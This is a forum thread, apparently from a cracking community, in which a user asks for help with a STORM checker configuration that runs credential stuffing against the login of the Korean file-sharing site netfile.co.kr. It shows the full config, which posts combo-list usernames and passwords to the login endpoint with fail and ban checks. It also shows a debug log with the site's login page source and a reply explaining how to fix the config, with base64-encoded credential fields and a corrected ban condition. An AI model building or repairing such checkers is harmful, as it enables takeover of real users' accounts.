STORM Help mi

ioiioi

Lurker
Member
Joined
Threads
24
Posts
126
It's incomplete.

What's the problem?

Code:
[General]
UseProxy = False
UseGlobalKeywords = True
DefaultTimeout = 10
UnbanAllProxiesWhenAllBannedAfter = 10
HitsFolderName = 99

[Stage-1]
Variable-1 = $Link = "https://www.netfile.co.kr/member/login.jsp?url=/mypage/main.jsp"
Variable-2 = $Heads = "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0\nAccept: text/htmlchr(Comma)application/xhtml+xmlchr(Comma)application/xml;q=0.9chr(Comma)*/*;q=0.8"
Variable-3 = $JSESSIONID = findtagval($Stage1ResponseHeader#, "JSESSIONID=","")
Variable-4 = $BanConditionStage1CBAuto = indexof($Stage1ResponseHeader#, "Vary: Accept-Encoding") < 0
Condition = Any
Link = $Link#
isFTP = False
HTTPVersion = 1.1
FollowRedirect = False
HTTPRequestMethod = GET
Headers = $Heads#
Ban-Condition = $BanConditionStage1CBAuto#

[Stage-2]
Variable-1 = $Link2 = "https://www.netfile.co.kr/member-action.do"
Variable-2 = $Heads2 = combinetext("User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0\nAccept: text/htmlchr(Comma)application/xhtml+xmlchr(Comma)application/xml;q=0.9chr(Comma)*/*;q=0.8\nReferer: https://www.netfile.co.kr/member/login.jsp?url=/mypage/main.jsp\nContent-Type: application/x-www-form-urlencoded\nCookie: pop_charge=check; JSESSIONID=",$JSESSIONID#,"\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1")
Variable-3 = $PostContent = combinetext("action_event=memberLogin&enid=", $JSESSIONID#, "&pwd=", $JSESSIONID#, "&url=%2Fmypage%2Fmain.jsp&userid=null&id=", $ComboUsername#, "&passwd=", $ComboPassword# )
Variable-4 = $IndexOfFailKey = indexof($Stage2ResponseSource#, "alert(chr(double quotes)존재하지 않는 회원ID 이거나 패스워드가 일치하지 않습니다.chr(double quotes));")
Variable-5 = $FailureConditionStage2CBAuto = $IndexOfFailKey# >= 0
Condition = Any
Link = $Link2#
isFTP = False
HTTPVersion = 1.1
FollowRedirect = False
HTTPRequestMethod = POST
Headers = $Heads2#
PostContent = $PostContent#
Failure-Condition = $FailureConditionStage2CBAuto#


Code:
============
Username: 7410
Password: 74100
Combo: 7410:74100
Proxy: None
Proxy Type: HTTP
============

--------------

Declaring 'link' variable with 'https://www.netfile.co.kr/member/login.jsp?url=/mypage/main.jsp' value

--------------

Declaring 'heads' variable with 'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' value
============ Stage 1 - Sent Data ============
GET /member/login.jsp?url=/mypage/main.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: www.netfile.co.kr
Connection: keep-alive



============ Stage 1 - Received Data ============
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=06FACD3B00C8BE8B3D596AAC564A7A77; Path=/; Secure
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html;charset=euc-kr
Transfer-Encoding: chunked
Date: Mon, 06 Aug 2018 14:23:58 GMT

=====Start Received Source=====



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ko" xml:lang="ko">
<head>
<title>넷파일 웹하드 - 국내 최대의 데이터 무한공유 서비스!</title>
<meta http-equiv="Content-Type" content="text/html charset=euc-kr" / >
<link rel="stylesheet" type="text/css" href="../css2/layout_sub.css?201603101409" />
<link rel="stylesheet" type="text/css" href="../css2/common.css?201603101409" />
<script type="text/javascript" src="../js2/common.js"></script>
<script type="text/javascript">
<!--
    //한글입력 검사
    function a_or_d(str){
        lower_str = str.toLowerCase();       
        for(i=0; i<lower_str.length; i++){
            ch = lower_str.charAt(i);
            if(((ch < 'a') || (ch > 'z')) && ((ch < '0') ||(ch > '9')))
                return 0;
        }
        return 1;
    }

    function logincheck(){
        if(loginFrm.id.value == ""){
            alert('아이디를 넣어 주세요.');       
            loginFrm.id.focus();
            return;
        }
        if(loginFrm.passwd.value == ""){
            alert('비밀번호를 넣어 주세요..');   
            loginFrm.passwd.focus();   
            return;
        }
        if (loginFrm.id.value.length < 4 || loginFrm.id.value.length >12 ){
            alert('아이디는 4자 이상 12자 이하 입니다.');
            loginFrm.id.select();
            return;
        }else if(!a_or_d(loginFrm.id.value)) {
            alert('아이디는 영문이나 숫자로 입력하셔야 합니다.');
            loginFrm.id.select();
            return;
        }
        if (loginFrm.passwd.value.length < 4 || loginFrm.passwd.value.length >12 ){
            alert('비밀번호는 4자 이상 12자 이하 입니다.');
            loginFrm.passwd.select();
            return;
        }
        loginFrm.enid.value = enco(loginFrm.id.value);
        loginFrm.pwd.value = enco(loginFrm.passwd.value);
        //loginFrm.pwd.value = encrypt(loginFrm.passwd.value);
        loginFrm.submit();
    }

    //base64 encoding
    function enco(InStr1){
        var InStr = InStr1;
        var ttb = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        var len_1 = InStr.length;
        var len_res = InStr.length % 3;
        var len_div = len_1 - len_res;
        var ra = new makeArray(4);
        var i=0;
        var Stat = "";
        var str="";
        
        while(1){
            if( i >= len_1 )
                break;
            if( i >= len_div )
                Stat = "End"; 
        
            A = eval(InStr.charCodeAt(i++));
            B = eval(InStr.charCodeAt(i++));
            C = eval(InStr.charCodeAt(i++));
            
            if( i > len_div ){
                Stat = "End";
                
                if( len_res >= 1)
                    C = 0;
                if( len_res == 1 )
                    B = 0;
            }
            ra[1] = A >> 2;
            ra[2] = ( (A & 3) << 4 ) + (B >> 4);
            ra[3] = ( ( B & 15 ) << 2 ) + ( C >> 6);
            ra[4] = C & 63;
            
            if( Stat == "End" && len_res >= 1 )
                ra[4] = 64;
            if( Stat == "End" && len_res == 1 )
                ra[3] = 64;
            
            for(k=1;k<=4;k++)
                str = str + ttb.substr(ra[k],1);
        } 
        return  str;
    }

    function makeArray(n){
        this.length=n;
        for(var i=1; i<=n; i++){
            this[i]=null;
        }
        return this
    }

//네이버 로그인
    function goNearoLgn(){
        document.domain="netfile.co.kr";
        var urlStr = "https://nid.naver.com/oauth2.0/authorize?response_type=code&client_id=F5vwNyrUSe9DPs3mpMlQ&redirect_uri=https%3A%2F%2Fwww.netfile.co.kr%2Fnaverlogin%2Fwebcallback.jsp&state=447577963459022838298581873173248185712";
        window.open(urlStr,"NaverLoginWin", "toolbar=no,top=50,left=100,width=490,height=536,resize=no,status=no");
    }

    function goNaverLoginOk(){
        location.href="/index_front.jsp";
    }
//-->
</script>
</head>
<body class="member">
<!--*현재 페이지 클래스 표기합니다 -->
<div id="wrapper">
    <!----- top 부분----->
    






<script type="text/javascript" src="/js2/lib/jquery-1.11.2.min.js"></script>
<script type="text/javascript" src = "/js/login.js"></script>
<script type="text/javascript">
<!--
    function logOpen(){
        var infoc = document.getElementById('info-customer').style.display;

        if(infoc=='none'){
            document.getElementById('info-customer').style.display = 'block';
        }else{
            document.getElementById('info-customer').style.display = 'none';
        }
    }
        
    /*****통합검색 롤오버 버튼 *****/
    function MM_swapImgRestore() { //v3.0
      var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
    }
    function MM_preloadImages() { //v3.0
      var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
        var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
        if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
    }
    
    function MM_findObj(n, d) { //v4.01
      var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
        d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
      if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
      for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
      if(!x && d.getElementById) x=d.getElementById(n); return x;
    }
    
    function MM_swapImage() { //v3.0
      var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
       if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
    }
//-->
</script>

    <!------- header ----->
    <div id="header">
        <div id="head">
            <h1><a href="javascript:parent.parent.location.href='/index.jsp';void(0);">넷파일</a></h1>
            <!--h1><a href="/index.jsp">넷파일</a></h1-->           
            <dl class="topmenu">
                <dt class="hidden">Top Menu</dt>
                <dd><a href="/member/member_input.jsp"><img src="../img2/text_gnb01.jpg" alt="회원가입"></a></dd>
                <dd class="bar">|</dd>
                <dd><a href="/helpdesk/event_list.jsp"><img src="../img2/text_gnb02.jpg" alt="이벤트"></a></dd>
                <dd class="bar">|</dd>
                <dd><a href="/cscenter/faq-action.do?action_event=FaqTypeList&typetitle=01"><img src="../img2/text_gnb03.jpg" alt="FAQ"></a></dd>
                <dd class="bar">|</dd>
                <dd><a href="/helpdesk/main.jsp"><img src="../img2/text_gnb05.jpg" alt="고객상담센터"></a></dd>
            </dl>
             <!-- 고객센터 레이어팝업 -->
            <div id="helpTest" style="position:absolute; top:0px; margin-left:975px; z-index:5;">
                <a href="javascript:goInqury();"><ul style="background:url(../img2/H_bnr_24cscenter_2.png) no-repeat; width:135px; height:150px"></ul></a>
            </div>
            <form action="../unifySearch/total.jsp" onSubmit="return SubStrSend('login');" method="post" name="SubSearch">
                <h2 class="hidden">검색영역</h2>
                <dl class="search_idx">
                    <form action="../unifySearch/total.jsp" onSubmit="return SubStrSend();" method="post" name="SubSearch">
                    <dt class="hidden"></dt>
                    <dd class="search_txt1"></dd>
                    <dd class="search_txt2"></dd>
                    <dd class="search_txt3">
                    <!--top 롤링 DB 가져오기-->       
                        <input type="text" name="str_search" id="str_search" value="원하는 자료를 바로 검색해 보세요."  class="search_idx_input" onFocus="javascript:this.value=''" onKeyDown="javascript:if (event.keyCode == 13){ return SubStrSend('login'); }" OnClick="stop_roll();"/>           
                    </dd>
                    <dd class="search_button"><a href="javascript:SubStrSend1('login');">검색</a></dd>         
                </dl>
            </form>
            
        </div>       
    </div>
    <!-- //header -->

    <h3 class="hidden">네비게이션</h3>
    <div id="gnb_idx">

<!--+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-->
       <!-- 2016027 황인재 수정 시작 -->
        <!-- 새로 생긴 부분 -->
        <div class="login-btn-box">

            <div id="login-before" class="login-before ipt-top">           
                <a href="/member/login.jsp">로그인</a>
                <a href="/member/member_input.jsp">회원가입</a>
            </div>               
                    
    


    <SCRIPT type="text/javascript">
    <!--
        function goInqury(){
            location.href="/member/login.jsp?url=/helpdesk/inquiry_write.jsp";
        }

        function goInqury_admin(a,b){
            location.href="/member/login.jsp";
        }
    //-->
    </script>

        
<!--+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-->
        </div>
        <!-- //login-btn-box -->
        <script type="text/javascript">
            $(function(){
                $('.login-btn-box').on({
                    'click' : function(){
                        $t = $(this),ict = $('.info-customer');
                        if(!$t.hasClass('on')){
                            //open
                            $t.addClass('on').title('펼침닫기');
                            ict.slideDown();
                        }else{
                            //close
                            $t.removeClass('on').title('펼쳐보기');
                            ict.slideUp();
                        }
                    }
                },'button.slide-btn');       
            });
        </script>
        <!-- 새로 생긴 부분 //-->

        <div id="mainNavi">
            <ul>
                <li id="guide"><a href="../guide/netfile.jsp">서비스안내</a></li> <!-- 활성화 될시에, li 태그에 on 클래스 부여됩니다. -->
                <li id="program"><a href="../guide/source/download_front.jsp">전용프로그램</a></li>
                <li id="pay"><a href="../pay/payinfo.jsp">충전센터</a></li>
                <li id="media" style="width:103px;">&nbsp;<a href="../media/main.jsp" >컨텐츠&nbsp;</a></li>
                <li id="npoint"><a href="../npoint/info.jsp">포인트</a></li>             
                <li id="menu_pr"><a href="../etc/pr.jsp">홍보가이드</a></li>
                <li id="mypage"><a href="../mypage/main.jsp">마이페이지</a></li>
            </ul>
        </div>
        <!-- 2016027 황인재 수정 종료 //-->

    </div><!-- gnb_idx// -->

    <form name="inquiryFrm" method="post" action="/cs/cspop21.jsp">
        <input type="hidden" name="encodedString" value="" />
    </form>     
    <form name="inquiryAdminFrm" method="post" action="/cs/cspop21.jsp">
        <input type="hidden" name="encodedString" value="" />
        <input type="hidden" name="boardSeq" value="" />
        <input type="hidden" name="Top" value="" />
    </form>   
    <form name="inquiryReplyFrm" method="post" action="/cs/cspop22.jsp">
        <input type="hidden" name="encodedString" value="" />
        <input type="hidden" name="boardSeq" value="" />
        <input type="hidden" name="email" value="" />
    </form>   
    <form name="inquiryListFrm" method="post" action="/cs/cspop22.jsp">
        <input type="hidden" name="encodedString" value="" />
    </form>
    <form name="inquiryDelFrm" method="post" action="/cs/cspop22.jsp">
        <input type="hidden" name="encodedString" value="" />
    </form>


    <!----- /top 부분끝 ----->
    <!--Container 영역------------------------>
    <div id="container">
        <p class="member_img2"><img src="../img2/member/login_topimg.gif" alt="넷파일 회원 로그인" /></p>
        <div id="login_Box2">
            <table class="member_bbs">
            <form name="loginFrm" method="POST" action="/member-action.do">
                <input type="HIDDEN" name="action_event" value="memberLogin" />
                <input name="enid" size="12"  type="hidden" value="" />
                <input name="pwd" type="hidden" value="" />
                <input type="hidden" name="url" value="/mypage/main.jsp" />
                <input type="hidden" name="userid" value="null" />
                <tr>
                    <td >
                        <table id="member_login_bbs" border="0">
                            <tr>
                                <td width="65" height="34" class="Bold">아이디</td>
                                <td><input type="text" name="id" class="member19_input" tabindex="1" value="" onKeyPress="userinput=1;"/></td>
                                <td rowspan="2" valign="middle"><a href="javascript:logincheck()"><img src="../img2/btn_login.gif" class="mgb3" /></a></td>
                            </tr>
                            <tr>
                                <td height="34" class="Bold">비밀번호</td>
                                <td><input type="password" name="passwd" class="member19_input" tabindex="2" value="" onKeyDown="if (event.keyCode == 13) logincheck();"/></td>
                            </tr>
                            <tr>
                                <td height="25" colspan="3"><span class="small">
                                    <input type="checkbox" name="idsave" tabindex="4"  /> 아이디저장</span>
                                    <span style="margin: 0px 0px 0px 140px;"><a href="../member/srch_idpw.jsp" ><img src="img/idpw.jpg"></a></span>
                                </td>
                            </tr>
                        </table>
                        <p style="background:url(../img2/dotline.gif) repeat-x; height:1px; margin:5px 0 5px 80px ;width:330px"></p>
                        <p class="login_txt"><span>네이버 계정으로 로그인</span><span style="margin:0px 0 0px 42px"><a href="javascript:goNearoLgn()"><img src="img/sub_login/snsBt01.png" alt="네이버"></a></span></p>   
                        <p style="background:url(../img2/dotline.gif) repeat-x; height:1px; margin:10px 0 10px 80px ;width:330px"></p>
                        <p class="login_txt"><span><img src="img/joinmsg2.jpg"></span><span style="margin:0px 0 0px 30px"><a href="../member/member_input.jsp"><img src="img/memberBt.png" style="text-align:right"/></a></span></p>               
                    </td>
                    <!--td class="login_td"><a href="/notice/board-action.do?action_event=BoardDetail&boardSeq=2846"><img src="/event/event_20150826/420x200.jpg" width="420" height="200" /></a></td-->
                    <td class="login_td"><a href="/helpdesk/event_171130.jsp"><img src="../img2/event/171130/weblogin_180126_01.jpg" width="420" height="200" /></a></td><!-- 0725 백업-->
                    <!--td class="login_td"><a href="/helpdesk/event_180725.jsp"><img src="../img2/event/180725/180725_login.jpg" width="420" height="200" /></a></td-->
                </tr>
            </form>
            </table>
        </div>   
        <!--<p class="login_join">넷파일 회원이 아니세요? 회원가입을 하시면 넷파일에서 제공하는 다양한 서비스를 경험할 수 있습니다. <a href="../member/member_input.jsp"><img src="../img2/btn_join.gif" /></a></p>-->
        <p style="margin:50px 0px 0px 0px"><img src="../img2/member/member_ok_good.gif" /></p>
    </div>
    <hr />
    <!-- //Container -->
    <!----- Footer ---->
    
<!-- 구글 로그분석 -->
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-28971521-1']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
<!-- //구글 로그분석 -->
<!-- //네이버 로그분석 -->
<script type="text/javascript" src="http://wcs.naver.net/wcslog.js"></script>
<script type="text/javascript">
if(!wcs_add) var wcs_add = {};
wcs_add["wa"] = "3bc7e16471d78";
wcs_do();
</script>
<!-- //네이버 로그분석 -->
      <div id="footer">
        <dl>
          <dt class="hidden">풋터</dt>
          <dd><a href="http://www.knpnetworks.co.kr/" target="_blank"><img src="/img2/F_introduce.gif" alt="" /></a></dd>
          <dd><img src="/img2/F_bar.gif" /></dd>
          <dd><a href="mailto:[email protected]"><img src="/img2/F_marketing.gif" alt="" /></a></dd>
          <dd><img src="/img2/F_bar.gif" /></dd>
          <dd><a href="/etc/policy.jsp"><img src="/img2/F_rule.gif" alt="" /></a></dd>
          <dd><img src="/img2/F_bar.gif" /></dd>
          <dd><a href="/etc/policy3.jsp"><img src="/img2/F_privacy.gif" alt="" /></a></dd>
          <dd><img src="/img2/F_bar.gif" /></dd>
          <dd><a href="/etc/policy4.jsp"><img src="/img2/F_teenagers.gif" alt="" /></a></dd>
          <dd><img src="/img2/F_bar.gif" /></dd>
          <dd><a href="/etc/policy5.jsp"><img src="/img2/F_userInfo.gif" alt="" /></a></dd>
        </dl>
        <address class="address">
            <img src="/img2/F_footer_r5.gif" usemap="#FooterMap" />
            <map name="FooterMap" id="FooterMap"><area shape="rect" coords="480,36,610,51" href="mailto:[email protected]" alt="메일보내기" /></map>       
        </address>
      </div>
    <!----- /Footer ---->
</div>
<!--//wrapper -->
</body>
</html>
    
=====End Received Source=====

--------------

Executing and Assigning 'findtagval($Stage1ResponseHeader#, "JSESSIONID=","")' codes to 'JSESSIONID' variable.

Execution result: 06FACD3B00C8BE8B3D596AAC564A7A77; Path=/; Secure
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html;charset=euc-kr
Transfer-Encoding: chunked
Date: Mon, 06 Aug 2018 14:23:58 GMT


--------------

--------------

Executing and Assigning 'indexof($Stage1ResponseHeader#, "Vary: Accept-Encoding") < 0' codes to 'BanConditionStage1CBAuto' variable.

Execution result: True

--------------

--------------

Executing '$BanConditionStage1CBAuto#' expression

Execution result: True

--------------

============
Check Result: Banned
Save Format:
============
 
First u have wrong is the banned condition.
second u have wrong are that values:
enid= is username in base 64
pwd= is password in base 64.
hope this can help u.
 
  • Thread Starter Thread Starter
  • #3
Thank you for answer.
Have a happy day.